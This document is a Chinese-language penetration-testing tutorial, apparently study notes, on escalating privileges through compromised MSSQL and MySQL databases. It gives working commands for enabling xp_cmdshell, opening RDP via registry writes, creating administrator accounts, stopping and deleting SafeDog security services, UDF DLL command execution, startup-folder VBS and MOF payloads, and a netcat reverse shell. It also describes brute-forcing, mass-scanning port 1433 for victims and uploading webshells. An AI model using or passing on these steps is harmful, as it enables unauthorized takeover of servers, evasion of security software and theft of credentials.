数据库提权
sqlserver数据库提权
MySQL数据库提权
需要具备数据库管理员权限才可执行提权操作
前提条件:
1.拥有数据库管理员账号密码权限
2.windows 系统下(没有被降权)
zkeys下的mysql被降权,还有宝塔也存在降权
Linux 下mysql的root权限是服务用户权限很小,不能提权
MSSQL提权
安装组件
开启3389
创建用户
提升权限
完成
sa账号获取:
爆破
查找网站源码数据库链接文件(web.config /conn.asp/aspx config.asp/aspx dbconfig.asp/aspx)
如获取到账号为xycms (不是sa,并不代表不是sa权限)
判断sa权限可以通过账号连接数据库软件,登录查看操作是否都能进行
如果有注入可以通过 sqlmap --is-dba 是true就是管理员权限,false表示不是
sqlserver一般允许sa 登录外部地址登录(mysql 的root 账号默认不允许外部地址登录)
如1433抓鸡就是扫一个如北京的地址段,筛选出开了1433的主机,然后去爆破一般都是sa,因为默认开了外联
默认开启外联(可以使用外部地址登录):
使用下图的工具SQLTOOLSV2.0输入sa 和密码登录
执行命令测试,默认将cmd的组件禁用
也可以使用MSSQL查询分析器(win10内可能不能使用)
如果登录后可以操作自带的SQL sever的数据库侧面证明是sa权限
mssql安装执行命令组件
安装cmd_shell组件
EXEC sp_configure 'show advanced options', 1 GO RECONFIGURE GO EXEC sp_configure 'xp_cmdshell', 1 GO RECONFIGURE GO
然后再次回到之前的工具就可以执行命令了(然后创建账号,添加到管理员组)
然后登录外联mstsc,如果不能登录就需要去开启3389
开启3389 exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;-- 关闭3389 exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',1;
然后用刚才创建的账号登录,全部操作完成后将3389关闭
然后再将cmd组件删除删除cmd_shell组件,清理可以使用下面的
EXEC sp_configure 'show advanced options', 1 GO RECONFIGURE GO EXEC sp_configure 'xp_cmdshell', 0 GO RECONFIGURE GO
绕过安全狗提权
安全狗对于创建账号是不拦截的,拦截的是将用户添加到管理员组
可以通过远程桌面用户组来登录
但是这个组只是普通用户权限,需要给文件进行降权
cacls d: /e /t /g everyone:F
另一种方法:由于这些安全软件都是由驱动层保护的,在应用层的是不能结束驱动层的,可以通过以下命令禁止随机启动,然后重启(对于禁止重启无解)
system权限的情况下: net stop "safedog guard center" /y net stop "safedog update center" /y net stop "safedogguardcenter" /y 删除安全狗服务: sc stop "SafeDogGuardCenter" sc config "SafeDogGuardCenter" start=disabled sc delete "Safedogguardcenter" sc stop "SafeDogupdateCenter" sc config "SafeDogUpdateCenter" start=disabled sc delete "SafedogUpdatecenter" sc stop "SafeDogCloudHeler" sc config "SafeDogCloudHeler" start=disabled sc delete "SafeDogCloudHeler"
也可以试着使用
对于只能127内部访问的:
使用大马
由于组件被禁,需要提交一个可以执行sql语句的马(如绿马)
然后写入sa的密码在pwd后面,然后开启cmd shell
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
然后去sql---sa测试使用
权限为system提权成功,全部操作完成后关闭cmd shell
MySQL数据库提权
udf提权启动项提权mof提权反连端口提权
udf提权
首先获取到对方的mysql数据库下的root账号密码
1. root账号获取:
mysql调用php的站点大部分不使用root账号,都是根据不同站设置不同的用户去访问的
可以通过网站源码获取 (conn.php config.php dbconfig.php db.php config.inc.php common.inc.php(织梦的))
存放目录一般为data,inc,include等
有可能找到的不是root,而是如xycms这样的
分析网站属性:
阿里云虚拟机 300多个站(虚拟机会根据不同站点创建不同的数据库用户链接数据库),一般是普通用户权限
如果是站点是企业自己的服务器,站点不多,比如九阳家电(单个服务器单个单站或者一个企业属性站点群)
我们得到账号 不是root 并不代表它就不是root权限(可以链接查看能获取mysql操纵一般就是管理员)
2.爆破(默认不能通过外部地址爆破root)
只能爆破127或者localhost
可以用大马
也可以使用tuo.php大马
然后提交通过burp抓包对密码爆破跑字典
3. 下载mysql数据库文件
一般都有权限可以访问到,除非专门设置
写入一个一句话,然后通过菜刀连接
查看数据库安装路径下的user.myd (/data/mysql/)下载,然后打开下载的文件
然后解密
如果解密出不来,或者不完整,或者登录使用这个密码不能登录(存在其他密码的可能性)
可以这样操作将user的3个文件都下载下来
然后将下载的文件在本地的mysql中进行文件的替换(将自己的原本的user的文件备份,最好服务器用的什么版本本地替换的就用什么)先将数据库停止,然后打开cmd进入打mysql下的bin目录下输入跳过验证的命令
mysqld --skip-grant-tables 跳过验证 mysql.exe -uroot 进入MySQL
打开mysql的命令行不需要输入密码直接回车进入
use mysql select * from user
得到密文可以破解
暴力破解 mysql密码破解 3306端口入侵
udf提权原理:
通过root权限导出udf.dll到系统目录下,可以通过udf.dll调用执行cmd
使用toolsudf.php,然后输入破解到的密码登录,浏览器缓存可能对导致如下的失败
切换浏览器打开成功(mysql5.1以下会导在c盘的windows目录下,5.1以上的会倒在如下图的plugin下)
点击创建plugin目录
然后点击导出udf
然后点击创建函数
然后点击执行命令
然后执行提权操作,创建用户,添加导管理员组
这种情况下生成个mdf的payload,用这个命令执行,得到的权限是当前权限(system权限)
但是直接路径去执行程序也是不能的,因为\会被转义,可以查看脚本写路径是用的双\\所以这里应该用双\\
udf.dll存放目录:
C:\Winnt\udf.dll 2000
C:\Windows\udf.dll 2003
现在基本上win的服务器就这两个导出UDF.DLL
5.1以上版本需要导出到mysql安装目录lib\plugin\
create function cmdshell returns string soname 'udf.dll' select cmdshell('net user cracer cracer /add'); select cmdshell('net localgroup administrators cracer /add'); drop function cmdshell; 删除函数
启动项提权
1、查看我们进入数据库中有些什么数据表
mysql>show tables;
默认的情况下,test中没有任何表的存在。
以下为关键的部分
2、在TEST数据库下创建一个新的表;
mysql>create table a (cmd text);
好了,我们创建了一个新的表,表名为a,表中只存放一个字段,字段名为cmd,为text文本。
3、在表中插入内容
mysql>insert into a values ("set wshshell=createobject (""wscript.shell"")");
mysql>insert into a values ("a=wshshell.run (""cmd.exe /c net user 1 1 /add"",0)");
mysql>insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators 1 /add"",0)");
注意双引号和括号以及后面的“0”一定要输入!我们将用这三条命令来建立一个VBS的脚本程序!
4、好了,现在我们来看看表a中有些什么
mysql>select * from a;
我们将会看到表中有三行数据,就是我们刚刚输入的内容,确认你输入的内容无误后,我们来到下一步
5、输出表为一个VBS的脚本文件
mysql>select * from a into outfile "c://docume~1//administrator//「开始」菜单//程序//启动//a.vbs";
6.重启即可!(ms12-020溢出利用导致蓝屏,让它重启)
mof提权
第一种方法:
上传mof.php
然后登录
先点击利用成功
然后写入命令添加用户以及添加导管理员组用&&连接
往往一次执行不成功,需要多次点击执行,可以通过抓包一直发
将包发到爆破组中然后对一个无关紧要的数据添加变量,让他一直跑
第二种方法:
上传文件x.mof
使用select命令导出入到正确位置
命令执行可以用testa.php这个大马
select load_file('C:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'
允许外部地址使用root用户连接的sql语句
Grant all privileges on *.* to 'root'@'%' identified by 'root' with grant option;
反链端口提权
1、需要上传一个高版本的脚本,然后登录脚本
先导出udf
导出成功之后,点击创建反弹函数
然后点击执行反弹
由于他会识别你的ip,会直接反弹到你的ip,如果自己在内网需要对方反弹到一个vps/ngrok上,需要将ip修改后执行反弹
2、本地监听你反弹的端口
nc存放
nc.exe -vv -l -p 2010开启监听
然后点击执行反弹
成功后,你将获得一个system权限的cmdshell,其实这个也是利用的UDF提权。
然后通过创建用户等操作提权
执行命令